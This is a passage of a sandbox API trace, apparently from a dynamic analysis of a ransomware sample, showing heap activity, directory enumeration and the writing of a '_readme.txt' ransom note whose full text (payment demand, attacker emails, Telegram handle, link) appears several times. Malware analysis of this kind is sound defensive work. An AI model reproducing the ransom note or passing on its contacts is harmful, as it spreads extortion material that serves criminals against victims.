hHeap=0x660000) returned 1 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.589] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0112.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.589] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.589] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.589] PathFindFileNameW (pszPath="") returned="" [0112.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.589] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.589] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.589] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.589] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.590] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0112.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.590] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0112.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.590] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.591] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.591] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.591] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.591] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.591] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.591] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.591] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.591] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 